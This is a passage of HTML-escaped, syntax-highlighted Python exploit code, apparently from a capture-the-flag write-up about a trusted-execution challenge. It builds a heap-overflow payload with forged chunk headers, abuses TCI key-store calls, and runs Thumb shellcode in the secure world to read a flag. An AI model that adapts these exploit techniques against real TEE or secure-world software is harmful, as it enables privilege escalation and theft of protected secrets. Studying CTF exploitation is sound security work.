&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; assem
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;tc_tci_call_flush&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(tc_tci_call&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tc_tci_call&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;asm_load_key&lt;/span&gt;(index: int) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; tc_tci_call(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, index, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;asm_save_key&lt;/span&gt;(index: int, size: int, data: bytes) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; tc_tci_call(&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;, index, size, data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x18&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# prev_size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x21&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x18&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# prev_size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x21&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x10AE&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;12&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0xD6F241&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# prev_size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x30&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x28&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# prev_size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p32(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x31&lt;/span&gt;)  &lt;span style=&#34;color:#75715e&#34;&gt;# size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; isinstance(sel0_assem, str):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        sel0_shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; make_thumb_shellcode(sel0_assem)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        sel0_shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; sel0_assem
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; sel0_shellcode &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; len(sel0_shellcode) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; sel0_shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x28, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(TCI_BUF)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x400&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFF0&lt;/span&gt;, pl)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;asm_load_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; el0_assem
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tc_tci_call_flush()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sel0_get_flag_assembly&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; str:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    SEL_WSM_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2400000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    assem &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    movw r0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(SEL_WSM_ADDR&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    movt r0, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex((SEL_WSM_ADDR&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    mov r2, r0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        assem &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mrc p15, 3, r1, c15, c12, &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;i&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        str r1, [r0], #4;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    assem &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    mov r1, #0x0009;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    add r1, r1, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    str r1, [r0], #4;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    svc #0x00;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; assem
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6666&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run_debug.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./el0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
